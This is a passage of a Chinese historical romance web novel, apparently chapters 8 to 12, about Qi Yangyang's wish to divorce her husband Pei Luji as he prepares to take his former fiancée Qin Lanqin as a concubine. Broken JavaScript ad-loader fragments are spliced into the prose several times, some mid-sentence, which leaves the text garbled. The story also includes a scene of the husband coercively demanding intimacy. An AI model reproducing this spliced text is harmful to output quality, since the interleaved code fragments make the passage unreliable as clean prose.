因为宿醉加没有歇好,他眼底是一片青色,骤然看去有些颓落和清冷,“今日年初一,宗正司衙门不开的。” “我知道...你不要着急,和离要准备许多东西的,我们等年后好不好?”戚央央心虚。 “我来是想问问...嗯...郎君你昨日有没看见我身上戴的玉佩?” 见她忸怩,裴陆戟差点将这事忘了。 昨夜她醉酒把定亲时的玉佩塞给太子,他夺回来抱她回府后,没多久他就累得受不了在她旁边睡着了,早上醒来急忙赶回宫才发现玉佩还在身上。 “怎么,你不见了那块玉佩吗?若要和离,那可是要归还的。”他突然来了点精神。 “我不是故意的,如果是掉在这府里...我一定能找回的。”戚央央保证道。 “所以说,如兰她们说昨夜是你送我回来的,那那个时候我身上玉佩还在不在呢?如果...如果不在,能不能请郎君你帮忙...帮忙宫里找...”她的话越说越小声。 裴陆戟则露出了不耐的表情,“昨夜送你回来还在的,你自己找。”说完越过她要进书房,刚走一步又停下来,转身道: “若你找不到玉佩,和离这事可就办不了了,赶紧找到吧。” “好...知道了。”央央懊恼。 裴陆戟进屋关上门,从袍袖掏出那块青玉佩,正想用石墨砚碾碎,却发现玉佩后方多了一行小字,和一朵用刻刀雕的雏菊简笔画。 那行小字上写道:戚央央和裴陆戟菊茂余千载,琴瑟乐百年。 “菊茂...千载,琴瑟...百年?”他不禁小声念了出来,随后把石锤收好,玉佩藏好。 “她弹琴有那么好吗?还真是难为她了...” “人家用‘芝兰茂余千载’中的芝兰长青比夫妻情深,她到底知不知,菊茂又是什么意思?嗤...” 聿正二十年,秋,那年菊花开得烂漫,秦府让下人把退婚书以及当年崔氏送的定亲之物雕兰青玉佩送还。 那年,裴陆戟第一次在翰林院当众病发,起因是翰林院里有人吃鱼脍,他闻到气味后发狂,不止抢了切鱼脍的刀具把同僚伤了,还往自己身上扎了几刀。 当时他身上那一袭青色官袍都几乎被鲜血染红,整个人呆呆滞滞的,身子微晃,眼神空洞,形似木偶,吓得翰林院那些官员们连续称病告假了几天,后来回来当值后也随身带上一沓黄符纸,好长一段时日不敢招惹他。 甄氏带上戚央央连续跑了好几家府邸,央央见姨母一面笑着同那些官家夫人赔不是,一面同她们反复又反复道:“我们家戟儿平时不这样。” “他一多么乖巧能干的孩子,没病!真没病!那是有人眼红,故意伤他在先。” “哎哟!就年轻人血气方刚,一时闹矛盾没忍住火气,打打闹闹而已。” “不是,当然不是...” “你才有病!你全家都神经病!!” 戚央央看着姨母不顾自己国公夫人的身份仪态,同那些官家夫人拉起了头花,她也捋起袖子去帮着干架。 “我家裴哥哥好得很!才没癫病!” 小姑娘年纪小小,细胳膊细腿,白嫩水灵的一个孩子,最后变成满脸抓痕的小花猫,还凶悍得很。 后来她和姨母都被暗骂有病,秦家派人来退了婚,姨母还当着那些人的面道,“出了这门口,你就告诉别人,就是我有病要咬人,秦家才退的婚,若你们胆敢胡说八道,我就当真踩你们秦府去了啊!我一疯子我怕什么?” 小央央受了姨母的言传身教,也跑出去追着秦府的人又打又咬:“是我!是我!我有病!我有疯病!你们敢来找我裴哥哥退婚,看我不咬死你们!!” 那时裴陆戟恨死这对姨甥,对她俩从没好脸色。 后来戚央央说喜欢裴陆戟,长大后不嫁人都要陪着他,说得他像是没她陪着就不行似的,然后她姨母甄氏就开始各种谋划,想把她塞给他。 那青玉佩,裴陆戟的母亲崔氏用价值不菲的青金玉雕琢的信物,最终落入了戚央央手中。 拿到玉佩的那天,央央高兴得眼眶都红了,她从不敢奢想过,自己真能嫁给心上人。 哪怕裴陆戟将玉佩交给她时,明显的敷衍和不情愿。 她依然笑得高兴道:“裴哥哥,我以后一定会努力让你喜欢上我的,我们...都会幸福的。” 当时裴陆戟回首轻慢地看了她一眼,出口的话伤人,“旧物你也要,随便了。” 旧物...是了,裴哥哥亲生母亲唤人打造的玉佩,那是给秦兰沁这个未来儿媳准备的,上方连雕刻的都是兰花图案,她见过给秦兰沁的那册聘书,也是用烫金的字,由裴陆戟亲自书写的:“芝兰茂余千载,琴瑟乐享百年。” 她没有他亲自写的聘书,但她下定了决心要一辈子对他好,所以,她自己给自己的玉佩上雕刻了这行字: 菊茂余千载,琴瑟乐百年。 她会成为照亮他前路的小□□。 可是,经过这些年,她人长大了,也懂事了,发现...她好像碍着他了,既然他喜欢的是兰花而不是菊花,她就该让位。 “母亲...那个,你知道青金玉...哪里能够买到吗?” “青金玉?那不是戟儿的母族崔氏留给他的...玉佩不是在你那吗?”甄氏问,“你是不是...” “请母亲...小声一点。”戚央央小声道:“是...这样的,儿媳前些日子不小心磕了一下,想要修复的话,还需要找一些青金玉...” “怎么这么不小心啊?”甄氏扼腕道,“那是青金玉,产自青石岗产量稀少且采矿工艺十分困难,那是珍罕之物啊!” “儿媳...不是故意弄坏的...” 见戚央央愧疚不已的样子,甄氏身为婆母又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是她姨母,哪能坐视不管,她叹息道,“算了,我帮你想想办法,宫中太皇太后身边好像有一块,太皇太后以前进庙闭关之前同你母亲我尚能聊上几句,我看看能否找个机会讨得太皇太后的喜...” “母亲,谢谢你!儿媳这次...欠母亲的,不知何时能还...”她眼眶发酸,眼睛红了。 “哎哟!你和母亲还说什么还不还的?只要你跟戟儿夫妻恩爱,母亲比什么都高兴,戟儿那孩子经历和别人不一样,性子敏感,哪能让你为了玉佩这点事伤了夫妻感情啊!快别说这种话...” 甄氏昨夜听说裴陆戟亲自送央央回来,还一直待在房间天亮才走,不知道多高兴。 戚央央是实在没法了,只能找甄氏帮忙,倘若甄氏知道,她找她找青金石是为了要同裴陆戟和离的话,不知道她会怎么样。 大概是会对她失望吧?毕竟从前是她信誓旦旦地同她承诺,要一辈子陪着裴哥哥的。 但是这次,裴哥哥是要同自己的心上人一起了,她又有什么理由阻止呢? 隔天,甄氏就带同戚央央进宫探望太皇太后。 可是没想到,秦兰沁竟然也在太皇太后宫中。 秦兰沁如今虽然已嫁作人妇有数载,却比少时更添韵味和气质,静坐在茶台边的时候,简直仙得能冒仙气。 太皇太后笑得慈眉善目,的确不如外界所言的严肃,“兰沁今日来陪哀家斋戒念佛,哦,对了,戟儿一会也要来。” 太皇太后喜欢孩子,秦兰沁和裴陆戟这些世家小辈小时候,时常被邀请到太皇太后宫中,同皇子公主们一起玩耍,这次太皇太后从庙里闭关出来,便把他们都找过来了。 “燕儿啊,许久不见,你现在也当得起诰命夫人的身份了!记得你从前刚嫁给裴晟当继室时,还像个小孩,经常躲着人哭鼻子,现在倒是大方了许多,裴晟那家伙待你不错啊!” 太皇太后刚打趣完,甄氏立马脸红了。 秦兰沁抿唇一笑,把戚央央给看痴了。 太皇太后这时注意到戚央央,“这位是不是就是...” “就是戟儿的媳妇,央央。” “哦...”太皇太后的目光复杂,眼里有惊艳,更多的是可惜和怜悯。 戚央央知道自己长得不如秦兰沁仙气雅致,她是属于那种烂俗的艳丽,小时候还勉强算得上水灵漂亮,但随着年岁增长,身姿的舒展,她长得就越发艳丽俗气,狐媚子似的,长得一点也不像大家闺秀。 今日来见太皇太后这位德高望重的长辈,她已经尽量挑选素色宽大的衣服样式,把胸`脯处勒得紧紧的,尽量低垂着头。 “你...抬起头来,让哀家再仔细瞧瞧你。” 戚央央只好依然抬头。 “颜色灼灼,妩媚艳丽,哀家好久没见过美得这么明目张胆的孩子了,只要打扮上别那么老气的话,真的不得了!戟儿他...好福气。” 甄氏笑容自豪,“自是,这是臣妇家姐甄氏盈盈的女儿,长相随她娘。” “难怪...” 若是平日戚央央听了这些话,兴许会有些高兴,但在秦兰沁面前,她突然觉得,太皇太后的夸赞只是乏善可陈的客套,和她这种高贵的人发自骨子里善良的礼貌。 在太皇太后这里坐了没多久,裴陆戟和太子就来了。 太皇太后让太子、裴陆戟和秦兰沁等人到佛堂替她画佛,把甄氏和戚央央留了下来。 她看了戚央央几眼,可叹道:“多好看的一对孩子,燕儿啊,哀家说了你可别恼,戟儿他...要往府里纳个人,你多宽慰央央啊。” 9. 第9章 听了太皇太后的话,甄氏愣了,央央也愣了。 “纳人?谁?谁要纳人?纳谁啊?”甄氏完全是懵的。 如今府里许多大小事务都由戚央央操办,府里刚传出传言就被央央遏制了,在外同甄氏交往的那些贵妇一般也不敢嚼国公府舌根的,所以甄氏并不知情。 而戚央央听得的消息是,裴陆戟要另娶别人,将她降妻为妾,并不知道是纳妾。 秦兰沁明明是裴陆戟放在心上许多年的心上人,凭什么只因为她趁人之危霸占了他的正妻之位,就让他的心上人委屈当妾? 戚央央手中的茶盏“砰”一声坠落,碎了,自知失态,她赶紧跟太皇太后告罪。 太皇太后以为她是听见夫君要纳妾,吃醋所致,宽慰道:“无碍,哀家知你心里难受,事情...” “太皇太后,臣妇有事情要对郎君说,可不可...” “央央,有事情咱们回府再说,不可在太皇太后这里闹得太...” “燕儿,无碍,央央,你去吧。” 太皇太后以为她是因为纳妾的事心里委屈要找裴陆戟要说法,她是受人之托来充当说客,但也听说过这些年,戚央央这孩子的心,一时怜悯,也不说什么。 戚央央来到佛堂,看见秦兰沁和裴陆戟正凑到一起画佛像,郎才女貌,佛下灯影,芝兰相依,登对极了。 她失神地站在原地看了许久,终于有勇气脚踏进去。 太子无法撮合裴陆戟和昌华公主,好不容易撮合得动他和绝婚归家的秦大姑娘,这时见戚央央过来,自然不会让她破坏。 “裴少夫人,孤有话同你说,先到那边去...” 裴陆戟的作画的关头抬头,见太子要去拉戚央央的袖子,他扔了手中的笔站出来,“殿下...” 戚央央被太子侍从拦在门口,压根进不去,忽听裴陆戟从里头走出的声音。 太子对裴少夫人以前如何追逐裴陆戟的事情早有耳闻,裴少夫人以区区破落女身份,高嫁给京城人人想嫁的第一贵公子裴陆戟,可谓本事不小,此时特意进宫来,太子生怕她闹上两闹,裴陆戟连妾都不肯纳了。 “少傅,你先回去同秦姑娘画佛像,孤同裴少夫人说些事情就回。” “殿下有什么事,是非得避开臣,同臣的夫人说的呢?” 裴陆戟脸上看不清喜怒,只是那双幽漆的眸子变得格外暗沉。 戚央央趁机绕开那些侍从的阻拦,前来拉走裴陆戟。 “郎君,我有些话想赶紧跟你说,你随我来。” 裴陆戟顺从地被她拉着,来到旁殿的一个小院里。 此时到处都很有新年气氛,就连这飞檐斗拱、重檐庄严的皇宫,都布置得颇有家一样的年味,高挂的红绉纱灯笼,每一道窗都贴了窗花,每一道门都贴了春联。 今日的戚央央,比起平日里,脖子上多圈了一条滚毛狐裘领子,身上的衣裳穿得古朴而宽大,衬得她越发娇小。 她摩挲着冻僵的手,轻呵出一道白气,眼眶看着有些红。 裴陆戟不自觉地挪到她右边的靠近廊道的风口位,替她挡了道风。 “郎君,你...你是不是要纳秦大姑娘做妾?” 昨天大年初一,他本来是要回正屋同戚央央好好过这个年,晚上是要留在她屋里睡的,可就因为她年三十那晚好好地跟他提和离,他心里既烦闷又恼怒,才会强忍着不回正屋,自己一个人在书房过。 如今过去了一夜,他心中的恼意也散去了一些,看着她被冻得鼻子通红,眼眶红红,楚楚可怜的样子,已经有些心软了,“你,不想我纳她?” 戚央央点点头,“我们不是说好了吗?我会同你和离,秦大姑娘是你的心上人,你不该委屈她当妾。” 裴陆戟一怔,捏紧了拳心。 “你快点去同她说清楚吧,秦大姑娘这样有气性的女子,又不像我,怎么可能愿意当妾,受这种委屈呢?快去呀...” 她倒是热心得很,还唯恐他解释慢了别人要跑一样,连劝带推的。 “意思是...你可受得了这些委屈了,是吗?”他冷笑。 “那这样的话,是不是可以不用和离,你和她位置上互换一下,她当妻,你来当妾。” “以前你不是成天追着我说,一辈子不嫁人也要待在我身边?你想食言吗?” 看着他黑沉沉的眼神,里头有几分质问,几分戏谑,和几分看她笑话的感觉。 戚央央有些羞愧,却丝毫不气弱道:“我对郎君的心!从没变过...从年少时开始,对郎君的心就是真的,那时候,我说要一辈子跟着郎君,陪着郎君,是因为,我觉得郎君需要我的陪伴,可是现在...” 裴陆戟皱了皱眉,现在,他不需要了吗? 他问不出这种话。 “这些日子我想了很多,反省了很多,人年岁大了,也懂事了很多,知道许多事情不能像头犟驴,爱一个人不应该像我那样爱的...” 她感叹。 裴陆戟捏着拳头看她,脸色越来越难看,轻轻笑:“爱一个人不是那样,那要怎样?你休要给自己找借口了。” “我不是找借口啊,而是,你要的人不是我,你以为我看着你跟别人一起不难受吗?但你跟我一起完全不快乐啊,我努力了十年,十年了!你现在需要的是你真正喜欢的人的爱,这个我给不了你...” “我要你,就现在,在这里,你能给吗?”他打断她,语气很冷、很冷。 她瞪大眼睛。 “现...现在吗?”缓了一下,她环顾了四周,发现隔道廊道就有宫人在洒扫。 大晋虽然没那么讲究男女大防,但这里毕竟是皇宫,而且还是在太皇太后的佛门圣地附近,他是男子,又是太子的宠臣,自然没什么,可世上的一切许多都是施加给女子的,就算她如今还是他的妻子,可在佛门圣地附近做这些事的话,始终会遭人诟病和非议的。 “怎么,以前被说成有疯狗病的时候都甘之如饴,如今我说要在这里要你,你却不肯了?” 戚央央感觉后脊背阵阵发凉。 这真的是她的裴哥哥吗? 儿时的裴陆戟,会为了救一朵绝境中的花,不惜受伤,会为了救一个素不相识的小姑娘,把活命的机会留给她。 少年时的他,虽然已经变得性子很冷,但也绝对不会做这种羞辱人的事。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是...难道是... “好...”戚央央硬着头皮应了下来,长睫不断地扇合。 大夫曾对她说过,癔症一旦严重,就会这样,性情大变、不通人性。 现在的她就算觉得再屈辱,也不能去违逆他,否则会刺激到他。 她小心观察着四周,趁着远处的宫人没留意这边,飞快地凑过去,踮起脚凑他脸上轻亲一下就想退开,谁知却被他一把掐住了手腕。 手腕被他掐住,动弹不得,他甚至还用了力,把她掐得生疼。 “郎...郎君,你...你认真的吗?”她这时候突然有些害怕起来。 他目光犀利如冷铁,始终盯着她。 “你不是,爱我吗?怎么,连我想要的都给不了。” 戚央央眼睫垂下,扇合得更快了。 最后,她只得把他拉进后面的假山里,可他刚被她拉进假山,裴陆戟突然用力扔开她的手,走了出去。 “没想到你真的能做到这个程度啊,戚央央,你真是让我大开眼界,既然如此,和离又是想闹哪出呢?” 他冷冷地扔下这句话后,就把她弃在假山里自己走了。 戚央央脸上又窘又羞,腰上的绦带已经解开,衣襟塌了一片,立马慌乱地遮掩好雪色重新束好衣裳。 整顿好衣物从假山重新回到佛堂,才知道裴陆戟已经走了,只剩秦兰沁自己在佛堂作画。 央央也没有心情再待下去,只跟甄氏说自己不舒服,在偏殿歇息一会,等婆母一起回府。 在偏殿休息的时候,她一直在想事情,从前清澈澄亮的眼神,不知何时起蒙上一层薄薄的灰雾。 “央央,你刚才说不舒服,现在如何了?你和戟儿...聊得怎么样?他...真的要纳秦大姑娘吗?” 甄氏听完太皇太后的话,一直很担心。 据说秦家本来是想将女儿许给太子当太子妃,可惜那适婚的三姑娘突然染急病走了,秦家就只有一个多年前已经出嫁的大姑娘和这个三姑娘,要不就是秦妃所生昌华公主。 裴陆戟不肯娶昌华公主,秦大姑娘是嫁过人的,就算给太子当侍妾,也说不过去,这样的话,就只能让裴陆戟纳了她。 毕竟二人从前就有情。 “我就不明白了,裴家在京城已经是数一数二的世家了,戟儿他为何还要贪那秦家的势力呢?他现在是碍于旁人说他抛弃发妻,把秦大姑娘纳为贵妾,再过些时候,若是秦家人要求他扶正呢?”甄氏很是着急道。 “母亲...”戚央央背靠着颠簸的车厢壁,从杂乱的神思中回神,“倘若郎君他不是为了势力,而是单纯地想跟自己心爱之人在一起呢?” “这样,母亲也要去阻挠吗?” 甄氏瞪大了眼,“心爱之人?他果真能知道自己的心爱之人是谁吗?他若是真懂,又怎么会这样对你?” “那个秦氏,当年明明是她自己嫌弃戟儿的病,找人来退的婚,你守了戟儿那么久,母亲能懂你的心,你对戟儿用情至...” “母亲,若是...突然有一天,我开始怀疑自己,可能并不能一直喜欢下去,甚至已经有些累了,不想再继续了呢?” 10. 第10章 “你...你在说什么傻话?” 甄氏惊道, “你这孩子,还在襁褓的时候,就喜欢猫,一见猫就笑,这么多年过去,如今你虽养不得猫,但母亲知道你还时常穿街走巷去喂流浪猫,” “两岁时你很喜欢一件有鲤鱼吐珠的小肚`兜,出嫁了你还带在身边,哪怕早已不合穿...” “三岁你喜欢的布老虎,四岁喜欢的一个煮鸡蛋羹的菊纹小瓷碗,五岁的小公鸡夜壶...” “母亲敢保证,现在那些东西还藏在你那屋里,你定然还是像从前一样隔三岔五就拿出来擦拭,镀层桐油。” “是,儿媳确实是还有擦拭和涂油,”被识穿的戚央央有些无措,“但跟这个有什么关系吗?” “这就对了,你这孩子向来又长情又死心眼,一旦喜欢上的东西,就到天荒地老也不变,母亲当年就因为太了解这一点,所以你说你喜欢戟儿的时候,母亲就知道这下完了,你要是不嫁给戟儿,这辈子也别想嫁人,母亲也别想能跟死去的姐姐交代了。”甄氏叹息。 戚央央沉默。 “所以啊,你怎么可能不喜欢戟儿,对他的爱怎么可能有一丝一毫的变化呢?” 甄氏哀叹着将怀里一块青金玉塞进她手, “这是太皇太后送给你的见面礼,别的事情不要想太多,关于纳妾的话,母亲帮你想想办法,不要难过伤心,好吗?” 回到国公府,戚央央从自己妆奁底下的漆色桐木大箱子拿出那些姨母口中的,她的宝贝。 如兰看见了,会心一笑道:“少夫人,这些你前天才刚刚上过桐油呢,不用上那么频繁的。” 戚央央叹息一声,“如兰,我真的很长情吗?” “是啊,”如兰笑道,“奴婢就没见过少夫人如此念旧长情的人了,奴婢还记得少夫人刚来府里的时候,盖的那张小被子,后来后院失火,被烧毁了,少夫人你伤心了整整一年呢,后来夫人见你伤心,给你又做了张一模一样的,可你还是念叨着那张被子。” “是啊...”提到这个,央央突然失落起来,“其实现在晚上揽着那张被子,还是会时常伤心,总觉得没先前那张柔软、好看,有阳光味道。” 如兰“噗”一声笑,“其实真是一模一样的,就连里头的被芯,都是用一样的棉称好一样的量做的,奴婢们摸着瞧着愣是瞧不出个好歹,少夫人怎么偏就这样偏爱那张。” “幸好少夫人嫁的人是自己的如意郎君,要是嫁的是旁人,怕是一辈子也高兴不起来了。” 听到这里,戚央央一怔。 低头静静地看了大箱子里的“宝贝”许久,她拿出其中一个小夜壶,支开窗户,想要把它扔掉,可“扔”了好几次后,发现小夜壶依旧离不开手。 “不行,我还是舍不得啊...” “可是,为什么我感觉自己,好像真的是想和离了呢?” “难道,和离后我真的...会后悔吗?” 这夜,戚央央犹豫着到底是要和离,还是应该再努力一把。 而隔了个院子的裴陆戟,则独自在书房里作画,他今日在宫中离开时,答应了秦兰沁的要求,帮她画一幅画像,可画像画着画着,却发现自己画的是戚央央。 他迅速将尚未风干的画像揉成团扔掉,重新提笔作画,这一次,画的虽然像秦兰沁了,可画眼睛的时候突然失了神,画成了央央那双眼尾有钩子的桃花眸。 再揉,再扔。 如此再三。 翌日,秦兰沁跟随母亲赵氏和荣安侯家侯夫人、刘尚书家刘夫人,带同年礼,一同递帖登门造访。 帖子昨日已经收到,甄氏收的,甄氏看见拜帖中秦夫人赵氏要带同秦大姑娘来时,第一时间通知了戚央央,央央看过拜帖后,点了点头:“母亲,既然这是郎君的选择,我们总要接受的。” 甄氏心疼安慰她道:“央央别怕,母亲站在你这边,绝不会让戟儿欺负你,你永远是世子夫人,这不会变的!” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >戚央央却笑了笑,“母亲,你也知道的,当不当世子夫人的,我从前也不甚在意的。” 赵氏带同侯夫人和尚书夫人前来拜访,确实是来商议亲事的。 她知道甄氏是戚氏的亲姨母,所以秦侍郎没多久也来了,英国公在前院招待秦侍郎,甄氏和戚央央就在后院招待赵氏她们。 “如今朝政局势不好,陛下正大力扶持寒门打压我们世家,太子殿下的意思是,希望我们秦裴两家可以重修旧好,沁儿以前是任性了一些,因为一点小事跟世子闹矛盾,大好的一段姻缘就这么放弃。” “可这次她回来,已经想清楚明白自己心中所爱,世子他已经有世子夫人,她也不会勉强做那破坏他们夫妻的事,我们大人的意思是,让她给世子当贵妾...” 甄氏脸上保持得体的笑容听着赵氏的话,其实袖内拳头已经握得咯吱响。 这秦兰沁以前嫌弃戟儿的病,毅然跟他们裴家退了婚,现下看着人病情康复,又成了陛下和太子看重的臣子,就又想让戟儿成为她的下家,哪有这种事?! 这赵氏口口声声说是当贵妾,可秦家可是皇亲国戚,又有皇后和太后在背后撑腰,她家央央只是一介寒门孤女,怎么和她比? 若是央央能得戟儿宠爱还好,至少能保证正室地位,但戟儿偏偏对她不冷不热,而且因为让他娶央央这件事她从中处理的手段不对,戟儿至今还恨着她,长久以往,难保央央的正室地位。 甄氏低头思忖了很久,久到赵氏和几个夫人那边干笑着都有些尴尬,戚央央便替婆母斡旋道:“秦夫人,过年饮食上有些厚腻,我做了一些解腻的小糕点,让你和诸位夫人,还有秦姑娘尝尝。” 秦兰沁目光落到戚央央身上。 戚央央见她似乎也有话想说,便直接邀她道:“我院中好些绿萼梅开了,秦姑娘要不要随我一同去赏梅?” 见她犹豫,她又笑道:“郎君今日似乎也还没出门呢。” 秦兰沁于是点点头同意。 11. 第11章 秦兰沁以前是见过戚央央的。 戚央央刚被接来国公府那会儿,她还没同裴陆戟退婚,来鹿鸣苑等裴陆戟回来的时候,时常会看见小姑娘穿得红彤彤很喜庆地跑来探头探脑。 一开始她是来给鹿鸣苑种花草、修剪枯枝的,后来看见她,就开始跑来同她献殷勤。 她会拿自己最喜欢的糕点送来给她, “秦姐姐,听说你是...裴哥哥未来的夫人,是他往后最亲近之人是吗?” 秦兰沁想起裴陆戟自幼就颇受小姑娘欢迎,没由来对她这个寄人篱下的表姑娘生了敌意。 “是啊,”她笑,“世子和我有婚约,我们自小感情很好,再过几年年纪到了,我们就要成亲了。” “那太好了,”小姑娘像是放心下来,然后拉着她的手,“秦姐姐,你真是个仙女姐姐,你和裴哥哥真是天造地设的一对,我喜欢你!” 然后她每次过来,她都跑来找她,有时是给她送自己新培植的鲜花,有时是送点心或是她从集市千挑万选出来的新奇玩意。 “世子夫人,记得以前...小的时候你经常给我送东西,很喜欢我的,你还记得吗?” 秦兰沁突然感慨道。 走在前面引路的戚央央顿了一顿,转身朝秦兰沁笑道:“是啊,我差点忘了,秦姑娘从前也是熟悉这府里的路的,原就不用我带路。” 这两位,一个是裴陆戟的前未婚妻,一个是现在的夫人,以后很有可能共事一夫,或是争夺地位,这时候无论说什么,都相当尴尬。 不过戚央央好像压根不在意什么尴尬,还大大方方跟她聊起了以前的事, “秦姑娘和郎君原是天造地设的一对,我以前看你俩在一块的时候就羡慕得很,以郎君的才华,大概就只有秦姑娘能相配了。” “不瞒你说,我刚刚得知郎君要另娶他人,有可能将我降妻为妾的时候,我真的难受了好久,从前我以为只要嫁给郎君了,就算他不喜欢我,只要他接受我对他的好,我就能一直开心。” “可是,我后面发现不是这样的...” “你大概也不想当妾的吧?那如果...” “戚央央!” 央央的话好没说完,就见裴陆戟从廊道出现,打断了她的话。 “你想对兰沁说什么?” 他唤她兰沁... 裴陆戟走过来把她拉开,然后自己隔在她和秦兰沁之前,像是生怕她会出口伤害到秦兰沁一样。 戚央央是懵的,“我...没有想对秦姑娘说什么,我只是...” “你不想和她说什么的话,好好的你们在母亲那边说话就行,为何要单独把她拉来这里?” “好啊,你不想她当妾是吧,那到时候让你来当,可好?” 他这口口声声都在维护秦兰沁,仿佛她把秦兰沁带来这里就是为了羞辱秦兰沁似的,实在让她伤心。 “郎君,”戚央央按捺着快将涌出眼眶的泪意,忍吞下去,始终保持着符合世子夫人身份的冷静从容,道:“我在郎君眼中,难道就是善妒的,会伤害你心仪对象的人么?” “郎君待我有救命之恩,我就算再生嫉妒,明知那是你喜爱之人,也断不可能伤害的,这些年你和我相处,难道也还不了解我吗?” 戚央央情急之下,竟提到了当年羌北他对她的恩情,若是以往,她顾忌着他的病情,是断断不会提任何与羌北有关之事的,不过她也只是这么提了一嘴,也没再往下说,反倒是很快就收敛了情绪,擦掉眼角的湿意,越过裴陆戟邀请秦兰沁道: “秦姑娘,我当真没有要伤害你、让你难堪之意,纯属是知道你往后要进府陪着郎君,府里和郎君的一些事,我觉得有必要交待你。” “不需要你交待。”裴陆戟拉住她手腕,把她扯到一旁,不让她靠近, “我和兰沁有事情,这里没你的事,你可以先下去了,别惹我生恼。” 他说完,生怕她再对秦兰沁多说一句话似的,转身就让秦兰沁跟自己走。 戚央央有话一定要跟秦兰沁说,她怕今日错过机会, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以后她不知道是否还能留在国公府,自然不肯错过,便提裙追了过去。 秦兰沁看了看身后追过来的人,犹豫了下,却被前方的人催道:“跟快些,别理她!” 裴陆戟把秦兰沁带到自己的书房,戚央央就站在门外,被裴陆戟挡了一挡。 “郎君,秦姑娘还没进门呢,府里那么多双眼睛在看着,你要和她单独同处一室,想置秦姑娘的清白于何地?” 戚央央伶牙俐齿地这么一说,裴陆戟终于松手让她进来。 “兰沁,你让我给你画的画像,在桌上呢,自己拿。” 昨日在宫中,裴陆戟被戚央央拉走说完话回来,就没心思继续待下去,同太子和秦兰沁致歉后就想离开。 秦兰沁心道戚央央一定是同裴陆戟说了什么,左右了他,她生怕纳妾的事情有变,于是主动争取裴陆戟道:“本来两个人的活,让我一个人做也行,但是世子,你要为兰沁作画一幅。” 秦兰沁从前与他有婚约的时候,想让他帮自己作画,每次都不成功,她没想到这次他不但答应还这么快完成了。 看了看他眼底明显的淤青,她不自觉道了一句:“世子昨夜是为了帮我作画,才一夜没睡?” 戚央央看见了裴陆戟替秦兰沁作的画,笔功细腻,果然画得与本人很像,简直天仙下凡一样。 她忽然看见桌底下躺了几团画纸,她捡起其中一团展开一看,发现画中人竟是她自己,可是那画显然画完未干就被人揉成团扔掉,画中人除了那双很特别的眼睛她一眼认出是自己外,其余部分都被浓墨糊成团了。 “这是...” 央央把画作展开来的时候,裴陆戟眼中闪过一丝惊慌,等他想去抢已经来不及,她已经彻底展开了。 秦兰沁不由愣了一下。 戚央央看完,重新折好画卷,淡淡地失落道:“郎君你...没必要这样恨我的,还特意画了画发泄,我...你实在不喜欢我留下的话,我走便是了。” 说完,她慌措不已地转身走出屋门。 12. 第12章 屋外寒风簌簌地吹,没一会,戚央央就感觉脸蛋和脖子都冻僵了。 但她依旧不肯进屋,也不肯离开。 眼泪想掉,却没由来地连掉下的力气也没有。 她之前觉得他对自己冷淡,只是因为不喜欢她,但没有想到他已经到了这样厌恨自己的地步,竟然要专门画个她的画像来泄愤。 虽然她之前一直斗志满满,总觉得来日方长,她努力的机会很多,总觉得成亲了他跑不了,就算他一时的厌烦,日后山高水长的陪伴里,他迟早能接受自己的爱。 但是现在,她觉得自己好像想错了,有些事情努力或许能成功,但这世上有更多的事,是不管再怎么努力,也没办法得到的。 她不该踏进那个屋门,闯入他们二人的世界,但是她也没办法离开,为了秦兰沁的清白,她还要必须像个傻子似的守在门口,替他俩把风。 屋内,裴陆戟一直看着门口的位置,他知道她一直躲在门外,所以不着急。 说实话,年三十那晚,她头回开口说出要同他和离的话时,他着实有些惊住了。 她一直以来那样在意他们这段婚姻,那样小心呵护着,话都不敢说重,绝对是不肯随随便便将“和离”说出口的人,所以当她开口说了,他真的就紧张起来了。 但是,以他这几天的观察,她似乎也没有真的完全放下对他的感情,这件事让他稍稍松口气的同时,又开始生起了别样的介怀,也同时变得敏感起来。 尤其是,她刚才被他逼紧了的时候,好像失口说了一句,什么对她有“救命之恩”。 他好像从不曾对她有过救命之恩,如果是在说国公府收留她的恩情,那也是国公爷和甄氏的恩情,与他无关。 旁边的秦兰沁看着裴陆戟一副魂不守舍的模样,开口道:“世子你...还是很在意她的吧?” “不然,也不会一不小心画了她的画像,就自欺欺人地毁掉。” 她失笑道:“我原本以为世子昨夜是为了帮我作画才一宿未眠,现在看来,好像是我想错了,你...” 她话没说完,裴陆戟就抬腿走了出去。 他步出书房,果然,看见戚央央双手抱着膝盖蹲在墙角守着,她还在。 他有些心软,伸出手想去拉她,“为什么不跑,也不进来?” 戚央央没朝他伸手,唇瓣被冻得没有血色,依旧蹲着,“你不是烦我吗...” “那我烦你,你也不离开吗?”他把身上御寒的披风解开,套在底下蹲着的人身上。 底下的人轻扇着长睫,几乎没怎么想就脱口而出,“因为蹲麻了,走不了。” 也不知道是因为她现在这副鼻子冻得通红的模样看着太可怜,还是因为她的哪句话取悦他,他看起来已经没有刚才那么生气了。 “走不了最好,你这样爱使性子,以后哪家郎君容得下你?画你画像就是泄愤吗?那我还画兰沁的画了,你怎么不说我画她泄愤呢?”他皱眉。 虽然他语气还不大好,但央央知道他这已经是在主动求和,心情略好了一些,揉着膝盖缓缓站起道:“那你把我画像都揉成那样了还不是泄愤哪,你又没揉她的,怎么一样呢?” 起先他见她看见自己偷画她的画像紧张,如今想来,也不知道自己有什么好紧张的。 “那我给你重新再画一幅便是,你生气做什么?” 若是以往,他能这么哄她一句话,她便能将这些时日以来的不愉快都统统抛开,又继续欢欢喜喜追逐着他了。 但现在,戚央央觉得自己的力气都快用完了,刚刚她勉力扶着膝盖撑起的那一下,就几乎用完了剩下的气力。 她勉强一笑:“好,那我不生气了。” 看着她眼角明显的疲意,和不达眼底的笑意,裴陆戟心头忽地腾升起一股慌乱的闷意。 这股闷意让他迫不及待想与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她亲近来消除。 可他又不知要如何同她靠近,只能略显笨拙道:“兰沁的事,你今日实在没必要找她说话。” 见她无动于衷,他又补了一句:“我的意思你明不明白?” 